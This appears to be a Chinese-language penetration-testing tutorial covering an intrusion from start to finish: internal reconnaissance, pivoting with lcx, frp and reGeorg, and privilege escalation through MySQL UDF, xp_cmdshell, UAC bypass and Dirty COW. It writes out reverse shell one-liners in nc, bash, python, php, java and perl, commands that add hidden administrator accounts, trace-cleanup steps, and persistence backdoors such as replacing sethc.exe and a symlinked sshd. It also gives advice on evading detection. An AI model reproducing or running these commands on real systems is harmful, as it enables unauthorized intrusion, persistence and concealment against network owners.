外网进内网通常就是通过web漏洞拿取shell
内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。
内网扩散信息收集概述
内网信息收集做的越好,打的越快
常用方法
主动扫描。常用工具: nmap,netdiscover,nc,masscan,自写脚本等
常用端口和服务探测
内网拓扑架构分析。如dmz,测试网等
命令收集
本机信息
nmap的流量很大。因为nmap用了很多方式进行扫描,准确率高的同时流量较大,外网可以用
主动扫描留下的痕迹很多且较难清楚。被动扫描需要的时间较长。视情况扫描
一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。
主动扫描端口和服务扫描探测目标开放端口
探测目标操作系统
其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本
使用NSE脚本: nmap --script smb-os-discovery.nse -p 445 目标IP地址
使用nmap -O探测操作系统版本
nmap -O 目标IP
扫描主机存在的CVE漏洞
内网常用命令[td]命令 | 说明 |
net user | 本机用户列表 |
net view | 查询同一域内的机器列表 |
net localgroup administrators | 查看本机管理员 |
net user /domain | 查询域用户 |
net group /domain | 查询域里面的工作组 |
net group "domain admins”/domain | 查询域管理员用户组 |
net localgroup administrators /domain | 登陆本机的域管理员 |
net localgroup administrators workgroup \user /add | 域用户添加到本机 |
net group "Domain controllers" | 查看域控 |
/domain为域渗透参数。域管理有一台权限很高的机器,拿下之后能控制整个域的服务器,称为域控。
[td]命令 | 作用 |
dsquery computer domainroot -limit 65535 && net group "domain computers"/domain | 列出域中内所有机器名 |
dsquery user domainroot -limit 65535 && net user /domain | 列出该域内所有用户名 |
dsquery subnet | 列出该域内网段划分 |
dsquery group && net group /domain | 列出该域内分组 |
dsquery ou | 列出该域内组织单位 |
dsquery server && net time /domain | 列出该域内控制器 |
windows主机信息收集这里是在拿下最高权限之后的信息收集。
windows杂七杂八的信息收集msf下的windows信息收集[td]模块 | 使用 |
post/windows/gather/forensics/enum_drives | 获取目标主机的磁盘分区情况 |
post/windows/gather/checkvm | 判断目标主机是否为虚拟机 |
post/windows/gather/enum_services | 查看开启的服务 |
post/windows/gather/enum_applications | 查看安装的应用 |
post/windows/gather/enum_shares | 查看共享 |
post/windows/gather/dumplinks | 查看目标主机最近的操作 |
post/windows/gather/enum_patches | 查看补丁信息 |
scraper | 导出多个信息 |
use or run模块,设置参数后expoilt
linux信息收集linux信息收集内容比起windows少很多
history命令
last命令
arp -vn
/etc/hosts文件
msf下的linux收集[td]模块 | 使用 |
post/linux/gather/checkvm | 判断目标主机是否为虚拟机 |
post/linux/gather/enum_configs | 查看配置信息 |
post/linux/gather/enum_network | 查看网络 |
post/linux/gather/enum_protections | 查看共享 |
post/linux/gather/enum_system | 查看系统和用户信息 |
post/linux/gather/enum_users_histroy | 查看目标主机最近的操作 |
post/linux/gather/hashdump | 获取linux的hash |
但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分
收集内容总结网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey
内网转发理论上通过网络连接的计算机都是可以互相访问的,但是因为技术原因没有实现。如局域网中某计算机仅开放web服务,则只能内网使用,外网无法直接访问。要让外网用户直接访问局域网服务,必须进行内网转发等操作
用于目标机器对某一端口的访问进行了限制。可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网IP上
将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口
主要用于在目标机器上做跳板,进而可以对内网进行攻击
四种情况有不同拿下服务器的方式
端口转发原理
端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。
简单地说︰端口转发就是将一个端口(这个端口可以本机的端口,也可以是本机可以访问到的任意主机的端口)转发到任意一台可以访问到的IP上,通常这个IP是公网ip
端口转发场景∶
外网主机A已经可以任意连接内网主机B上的端口,但是无法访问内网主机C上的端口
此时可以将C主机的端口转发到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某端口
端口转发工具lcxlcx是一个居于socket套接字实现的端口转发工具,有windows和linux两个版本,windows叫lcx.exe,linux叫portmap
一个正常的socket隧道必须具备两端:服务器端和客户端
windows下:转发端口:lcx.exe -slave 公网IP 端口 内网IP 端口
监听端口:lcx.exe -listen 转发端口,本机任意没有没有被占用的端口
映射端口:lcx.exe -tran 映射端口号 ip 目标端口
本地端口映射:如果目标服务器由于防火墙的限制,部分端口的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口
lcx.exe -tran 映射端口号 目标ip 目标端口
内网端口转发:如下规则时,主机不能直接访问内网,这时就需要web服务器当跳板,也就是代理来使攻击机访问到内网主机
基本命令:
·转发端口lcx.exe -slave 公网ip 端口 内网ip 端口
·监听端口lcx.exe -listen 转发端口 本机任意没有被占用端口
windows端口转发实例
环境︰内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。
步骤一:被控服务器的80端口转发到本地的8080端口 lcx -tran 8080 127.0.0.1 80
步骤二∶在内网被控服务器上连接内网能够对外访问的服务器 lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步骤三∶在能够对外访问的内网机器上监听端口 lcx -listen 4444 12345
步骤四∶外网机器访问192.168.56.1的12345端口也就是从服务器12345->服务器4444->外网8080->内网80
在外网192.168.64.230访问192.168.64.103:12345
linux下:用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
v:version
-m:指定method action参数
method=1:监听port1连接至主机2的port2(端口映射)
method=2:监听Port1转发至port2
method=3:连接主机1对应的端口和主机2对应的端口(端口转发)
如:./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777//监听来自6666端口的请求并转发至7777
frpfrp用处
下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件
修改frp.ini
文件格式:
[common]
bind_port = 7000 #frp服务器监听㐰
dashboard_port = 7500 #web后台监听端口
dashboard_user =admin #web后台用户名及密码
dashboard_pwd = admin
token = 123456 #客户端和服务器的连接口令运行frps服务器端 ./frps -c frps.ini #-c意思是加载配置文件
访问x.x.x.x:7500,使用自己设置的用户名和密码登录
修改frpc.ini文件
[common]
server_addr = 192.168.152.217
#服务端IP地址
server_port = 7000
#服务器端口
token = 123456
#服务器上设置的连接口令
[http]
#自定义规则,[xxx]表示规则名
type = tcp
#type:转发的协议类型
local_ip = 127.0.0.1
local_port = 3389
#本地应用的端口号
remote_port = 7001
#这条规则在服务端开放的端口号配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件)
在局域网外客户端连接服务端的remote_port端口
该工具可跨平台,也就是windows exe程序连接linux
上述操作也就相当于listen 7000转到7001然后连接
metasploit portfwd选项
-L∶要监听的本地主机(可选).
-l : 要监听的本地端口,与此端口的连接将被转发到远程系统·
-p∶要连接的远程端口,TCP连接将转发到的端口
-r∶要连接的远程主机的IP地址
参数
Add :该参数用于创建转发
portfwd add -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
Delete :这将从转发端口列表中删除先前的条目.
portfwd delete -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
List :列出当前转发的所有端口
portfwd list
Flush :这将删除转发列表中的所有端口
这个不太稳定,不如frp,lcx不怎么用了。
边界代理代理类别:HTTP代理、socks代理、telnet代理、ssl代理
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux)
内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。
负载均衡服务器:将用户的请求分发到空闲服务器上。
[td]代理 | 端口转发 |
需要socks协议支持 | 无需协议支持 |
一对多,访问网络 | 一对一,帮助他人访问某端口 |
socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口
意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。
proxychainsregeorg工具regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路
用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口
利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种
regeorg分为服务端和客户端。服务端有php\aspx\jsp\node.js等多种,客户端为python,所以用的时候文件里面找对应脚本
regeorg使用和proxychains结合使用
代理就配置好了
但是在msf外配置的代理,msf内部流量是不会走代理过的
msf routemsf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由
路由添加: run autoroute -s 内网网端
run autoroute -p 查看路由添加情况
proxifilerproxifiler为windows客户端代理工具,socks5客户端,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链
(但是个人在用shadowsocks...dddd)
提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见
windows权限提升当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。
一般来说,提权通常是改变用户
windows: user -> system user->administrator
linux: user->root
提权的方式通常有:
系统漏洞提权
数据库提权
第三方软件/服务提权
系统配置错误提权
如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控
系统漏洞提权常规流程:获得目标机shell->查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权
cmd中systeminfo查看补丁安装情况
使用补丁在线查询工具:blog.neargle.com/win-powerup-exp-index/#
将systeminfo命令得到的补丁信息复制进去,就会给出可用的exp编号
github作者整合了大部分exp:github.com/SecWiki/windows-kernel-exploits(windows-kernel就是代表windows内核)
将exp上传至目标机
每个EXP的使用方法不同。如ms14-058上传了exp到靶机后在cmd使用exp.exe "命令"就能以system权限执行命令。其他exp的使用方法很可能不同
获得了高权限在当前网络环境切忌开3389去连,可以用msfvenom生成木马维权,或者创建新用户加入管理员组。不过都会被发现。。
靶机上在运行msf木马时要用高权限运行,否则反弹回来的shell也是低权限。所以要用之前传上去的exp运行msf木马
windows数据库提权这种提权方式已经用的很少了
mysql数据库提权mysql提权的必要条件:获取Mysql数据库最高权限root的账号密码
获取方法:
mysql的三种提权方式:
MOF提权原理:利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件。该文件每几秒会执行一次,向其中写入cmd命令使其被执行
利用条件
windows<= 2003
对c:/windows/system32/wbem/mof/目录有读写权限
可以时间写mof文件到相应目录,如:数据库允许外联,有webshell,有可写sql注入
因为需要有写文件权限(into outfile),所以可用到的环境很少
nullevt.mof文件的内容
UDF提权mysql版本对应的udf.dll导出路径:
[td]数据库版本 | 操作系统 | udf.dll导出路径 |
<5.0 | 所有操作系统 | 路径随意 |
<=5.1 | windows2003 | c:\windows\system32\udf.dll |
<=5.1 | windows2000 | c:\winnt\system32\udf.dll |
>5.1 | 所有操作系统 | mysql安装目录下的lib\plugin\udf.dll |
mysql安装目录查询语句: select @@basedir
udf 提权步骤
select user();\version();\basedir()判断数据库版本、用户和安装目录
如果\lib\plugin目录不存在,可以利用NTFS ADS流创建文件夹
select 'xxx' into dumpfile 'mysql目录\\lib
INDEX_ALLOCATION';
select 'xxx' into dumpfile 'mysql目录\\lib\plugin
INDEX_ALLOCATION';
或者是webshell直接创建
导入udf.dll文件。该文件在sqlmap/data/udf/mysql/目录下有,只是该dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py解密。
上传udf.dll到指定目录。有webshell就直接传,传不了就select load_file()。
创建自定义函数。create function **sys_eval** returns string soname 'udf.dll';
必须要创建.dll文件中存在的函数才行,可以用十六进制编辑器打开udf.dll文件慢慢找函数,也可以用dumpbin.exe查看。soname指向动态链接库
执行高权限指令:select sys_eval('whoami');
将该用户提升为管理员权限:select sys_eval("net localgroup administrators ichunqiu /add")
清除痕迹
drop function sys_eval;
delete from mysql.func where name="sys_eval";
启动项提权vbs提权脚本:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) #得到adsi接口
Set oe=GetObject(os&"/Administrators,group") #用户组
Set od=ob.Create("user","name") #name为用户名
od.SetPassword "passwd" #passwd为密码
od.SetInfo #保存
Set of=GetObject(os&"/name",user) #得到用户
oe.add os&"/name"sql命令创建
连接到对方MySQL服务器,进入后查看数据库中有哪些数据表
命令:show tables
默认的情况下,test中没有任何表的存在。
进入test数据库,并创建一个新的表:
create table a(cmd text)//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本
在表中插入内容,用这三条命令来建立一个VBS的脚本程序:
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)");
sql server提权在windows,sa账号通常是被降权为db-owner的。而不是sysadmin
xp_cmdshell提权xp_cmdshell:
存储过程:是存储在SQLServer中预先定义好的"sql语言集合",使用T-SQL语言编写好的脚本共同组成的集合体为存储过程
xp_cmdshell脚本:扩展存储过程的脚本,是危险性最高的脚本,可以执行操作系统的任何指令
xp_cmdshell在mssql2000中是默认开启的,在mssql2005后的版本中默认禁止。如果用户具有sa权限可以用sp_configure重新开启
xp_cmdshell提权过程:
(2005以前的版本):
连接数据库:
select ame from master.dbo.sysdatabases获取所有的数据库名
查看当前版本select @@version
判断当前是否为saselect is_srvrolemember('sysadmin')
判断是否有public权限select is_srvrolemember('public')
判断是否有读写文件权限select is_srvrolemember('db_owner')
查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
(2005后的版本):
```exec sp_configure 'show advance options',1;//允许修改高级参数
reconfigure;
exec sp_configure 'xp_cmshell',1;//打开xp_cmdshell扩展
reconfigure;
2. xp_cmdshell执行命令
```exec master..xp_cmdshell 'net user name passwd /add'//添加用户name,密码passwd
exec master..xp_cmdshell 'net localgroup administrators name /add'//添加name到管理员组windows bypass uacuac(user acount control)可以阻止未授权的应用程序自动安装,并防止无意中更改系统设置
uac的三种设置要求:
相当于普通用户打开cmd和以管理员运行cmd的差别,普通用户以管理员身份开cmd就会受到uac的限制,输入管理员密码
msf bypass uac前提:已经获得了目标机器的meterpreter shell,当前权限为普通用户
bypassuac模块通过进程注入,利用受信任的发布者证书绕过windows UAC,它将为我们生成另一个关闭UAC的shell
bypassuac_injection模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率
bypassuac_eventwr模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC
msf exploit:>use exploit/windows/local/bypassuac
然后根据msf exp对reverse_tcp(bind_tcp)、lhost等进行参数设置
利用系统漏洞bypass uacCVE编号:CVE-2019-1388,windwos证书对话框特权提升漏洞。补丁号KB4524235 KB4525233
如果在运行一个可执行文件时触发了UAC,在点击 展示证书发行者的详细信息 之后,证书里的Issued by字段,这个字段对应的值就是OID。证书会解析OID的值,windows没有禁用OID处的超链接,就可以利用提权
要能连3389
Linux提权linux提权相对于windows的手法较单一,多了一个比较重要的suid提权。有很多时候提权并不是必须进行的步骤
linux系统提权linux和内核提权跟windows一样,都要下载对应漏洞的脚本提权
uname -a 获取操作系统内核版本和内核架构
id 获取用户信息
windows提权成功后在exp后接命令就是高权限运行,但是linux提权成功是返回一个shell。脚本执行后返回shell失败,可能是需要反弹shell
脏牛提权实例id查看目标机用户权限
uname -a目标机的linxu kernel>=2.6.22进行脏牛提权
寻找对应exp `http://github/FireFart/dirtycow
exp下载至目标机并编译 gcc -pthread dirty.c -o dirty -lcrypt
完成后,销毁firefart密码文件即可恢复root
mv /tmp/passwd.bak /etc/passwd
获取shell后将shell转换为完全交互式的TTY:python -c 'import pty;pty.spawn("/bin/bash")'
suid提权此处涉及权限划分的知识。在Linux中通过权限位rwx实现文件权限管理。d目录,-普通文件。r read;w write;x execute
所有者-所属者-其他用户
简而言之,任何用户执行有suid的文件时,都会以第一个权限运行
所以利用suid提权的一个小案例就是:
创建一个1.c文件,代码如下:
#include<unistd.h>
void main(){
setuid(0); #root的uid=0,意味着执行后面的代码是root权限在执行
system("su - root);#将当前环境转为root
}
gcc 1.c -o 1编译
chmod u+s 1 添加suid
./1 执行
su - root !=su root.su 只是切换了root身份,但shell环境依旧是普通用户,su - 用户和环境一起切换了。
linux数据库提权和windows一样的,udf提权
先获取低权限shell,提权过程:
查看plugin目录路径 show variables like '%plugin%';
select unhex('udf十六进制') into dumpfile 'usr/lib64/mysql/plugin/1.so'; (plugin路径/1.so)
声明函数 create function sys_eval returns string soname '1.so';
执行高权限命令 select sys_eval('whoami');
清除痕迹 drop function sys_eval;
windows soname动态链接库指向udf.dll,linux指向.so文件,所以声明的函数也要是.so文件里的。
详情请见上篇windows提权
反弹shellncnetcat简称nc,被称为渗透测试中的瑞士军~~~~刀。
它可以用作端口监听、端口扫描、远程文件传输、远程shell等
在攻击机或vps上监听本地端口nc -lvp 监听端口号
靶机命令,连接攻击机的监听端口nc 攻击机ip 监听端口号 -e /bin/bash #linux
nc 攻击机ip 监听端口号 -e c:\windows\system32\cmd.exe #windows
-e:将bash shell 发回主机
正向shell
正向shell时在目标机使用nc将bash shell绑定到特定端口,攻击机nc连接到此端口
bash反弹shell目标主机可能没有nc或不支持-e参数时,就需要以下方式反弹shell
[td]bash -i | 产生一个交互式shell |
& | 将&前后内容相结合重定向(>)至后者 |
/dev/tcp/ip/port | 对socket网络连接的抽象 |
0>&1 | 将标准输入和标准输入内容相结合,然后重定向至标准输出内容。0标准输入、1标准输出、2错误输出 |
其他反弹shell方式python反弹shellimport soket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",监听端口号));
os.dup(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
php反弹shell$sock=fsockopen("攻击机IP",监听端口);
exec("/bin/sh -i <&3 >&3 2>&3");
java反弹shellr = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/监听端口;cat <&5 | while read line;do $line 2>&5>&5;done"] as String[])
p.waitFor()
perl 反弹shelluse Socket;
$i="攻击机IP地址";
$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
(open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};
perl和python绝大多数服务器都会装,所以很有用
以某次内网渗透为实例
横向渗透预备工作
假设是如上拓扑图。先无视防火墙,内网机器无法直接访问外网,必须要走边界机。
获得低权限shell在网站信息搜集看到是joomla模板
msf里search joomla 查看 辅助模块auxiliar里的扫描脚本:auxiliary/scannner/http/joomla_version
use脚本设置rhost参数,然后expolit运行可以看到网站版本。expolit -j -z挂后台
searchsplopit joomla 版本寻找exp,最好是在exploit.db找,这里图个方便
把脚本copy到msf的exploits/multi/php目录下,然后reload
use exp脚本,set rhost\rport参数和lhost\lport参数,set payload为reverse或者bind,exploit运行
目前获得了低权限shell,sessions进入shell
提权uname -a查看系统信息
gcc --version看到有gcc,就找c语言的脚本。另起一个终端nc --lvvp 端口监听新端口
shell里bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1反弹shell
searchspolit linux kernel 内核版本 --exclute="(PoC)|/dos/"搜索本地提权脚本。除去Poc和dos,就剩本地脚本了。同理,也可以在expolit.db上找
上传脚本,但是靶机的网站根目录不可写(很少见),写到/tmp目录
gcc -o 输出文件名 脚本名编译,./文件名运行。不行就换脚本,脚本里有使用方法,事先看一下
提不了就别提了,不是非要提权(试李妈半天都提不起,不知道这些exp谁写的)
一级代理靶机python reGeorgSocksProxy.py -u http://IP -p 代理端口建立代理转发服务器
ipconfig或者其他的看下网段,run autoroute -s 网端开启路由转发
use auxiliary/scanner/discovery、nmap、ping扫描等扫同网端存活主机
扫描端口use auxiliary/scanner/portscan/tcp或者nmap扫,设置一下rhost和常用端口,运行
vim /etc/proxychains.conf配置代理,浏览器开代理访问内网网站(建议foxyProxy插件)
如果开了80端口,接下来就是搞内网的站,拿内网的webshell。注意蚁剑和burpsuit等工具也要配置代理
reGeorgSocksProxy指定的端口要和proxychains.conf文件里的端口一致,因为这波操作的意义就是把边界机当作跳板,regeorgsocksproxy.py在边界机起到代理服务器的作用,proxychains就是客户端
内网的站打下来了重复上述步骤到提权。
二层内网渗透(bind)生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描
如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信
lcx被检测概率太大,用frp
二层内网渗透(frp工具reverse)关于frp要分清楚客户端和服务端到底应该放在哪。具体可以看==frpc.ini==和==frps.ini==
比如某frpc.ini的内容
[common]
server_addr=172.16.12.2
server_port=7100
[ssh]
type=tcp
local_ip=127.0.0.1
local_port=5000
remote_port=5000如上,客户端连接服务端的7000端口,是将本机的5000端口数据以tcp转发到172.16.12.2的5000端口。因为你开frp也需要端口的嘛。这样连接服务端的5000端口就相当于连接客户端的5000端口。
服务端只有两行,监听一下就行了
[common]
bind_port=7100这里,我要强调本文的精华
==frp端口转发与内网穿透==还是这张图。对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机、frpc在外网kali。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。
可以理解为都是端口转发,访问frps所在主机就相当于访问frpc,所以frps一定要在中间的机器上。逻辑理不通建议反复读来回读读通读透。有很多文章啊就不介绍端口转发和内网穿透有什么区别,整半天都不知道frps放哪,虽然只学内网穿透就够外网打内网一招鲜了。
上传frp和ini文件,运行。重新msfvenome生成一个reverse木马,lhost指向边界机 lport也是边界机要开的端口。(木马的lhost指的是需要连接的ip,不是指上传的ip)
上传木马到二层边界机运行,再在边界机shell里开监听(监听msf木马lport)
二层代理msf开二层代理,在刚在监听的shell里use auxiliary/server/socks5,然后run运行
对之前arp扫描的主机use auxiliary/scanner/portscan/tcp扫描端口,设置rhost参数,准备再往里打
配置浏览器代理,选socks5,端口和socks5脚本show options的端口一致
访问三层内网机的80端口,准备三层内网渗透(打80端口)
二层渗透就搞定了。如果三层内网要出网经过二层内网。用bind的话还好,用reverse就需要用两次代理转发
简单提一下三层内网,可以上传lcx再进行一次端口转发,把二层内网机的frp端口转发到边界机,或者走frp代理。这样都是frp端口就串起来了,再把三层内网机reverse到二层的端口等于二层转发的端口,相当于直接reverse出去
所以!多层代理就是把多层主机端口串起来!
什么?拿完shell,几台机子的shell来回切你嫌麻烦?可以直接用Termite工具
TermiteTermite用于管理多层跳板,有admin和agent两个文件。
在第一个节点上传agent的对应版本,运行./agent_版本 -l 端口
在攻击机运行admin的对应版本 -c 边界机ip -p 端口,连接没问题就跳ok
admin的shell里goto 1进入第一个节点,shell 端口。然后起个终端开nc或者其他监听,监听该端口,弹回了第一个shell
二层机器agent对应版本 -c 上一层ip -p 上一层端口。端口与前面开agent和admin的端口一致。
小站权限维持大部分还是靠webshell后门,其他的可以,但没必要。还有搞站最好别在晚上搞,晚上流量少,搞站日志记录和流量占比很大。因而写的好的木马流量控制做的很好,上传和下载速度都有控制
权限维持权限维持不一定是高权限。后门最好都要伪装,如启动,图标,名字。经过学习个人认为权限维持=隐藏后门
windows后门常见的后门:shift后门,启动项/计划任务,映像劫持,影子账户,远控
大多数情况下,后门是一个隐藏进程。
windows按五下shift后,windows就运行了system32下的sethc.exe,启动粘滞键。
将cmd.exe更名为sethc.exe并把原来的替换,之后连续按下5次shift后就会以system权限运行cmd.exe,之后只要利用cmd增加一个administator就可以登录
除此之外,连接上3389之后可以使用的功能不止shift,还有放大镜等可以替换。
映像劫持也称IFEO,是为一些在默认系统环境中运行时可能引发错误的程序执行提供特殊的环境设定。默认管理员有权读写
映像劫持的制作过程
创建计划任务基本命令: schtask /create /t "chrom" /tr cmd.exe /sc minute /mo 1
上述命令的意思为创建一个计划任务名字为chrom,执行cmd.exe每分钟执行一次。执行后门就改指向文件和执行频率
制作过程
制作过程
影子账户试了一下,还是很牛逼的。
linux后门crontab命令介绍
制作过程
在中途会让输入密钥对密码,如果需要免密登录则回车跳过
详情请见ssh登录详解
软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中会去PAM配置文件夹中寻找是否存在对应名称的配置信息,su在pam_rootok检测uid 0即认证成功,也可以使用/etc/pam.d中存在的其他软连接名字
特点:1. 隐蔽性弱,rookit hunter这类防护脚本可以轻松扫到
制作过程
创建软连接 ln -sf /usr/sbin/sshd /tmp/su
设置监听端口。因为本地查看端口容易暴露,建议设置8080,8081伪装 /tmp/su -o Port=8080
运行/tmp/su就等于运行/usr/sbin/sshd,连不上可以nmap扫一下,有防火墙连不上
inetd后门制作
还有prism后门等在服务器安装软件的,极易被发现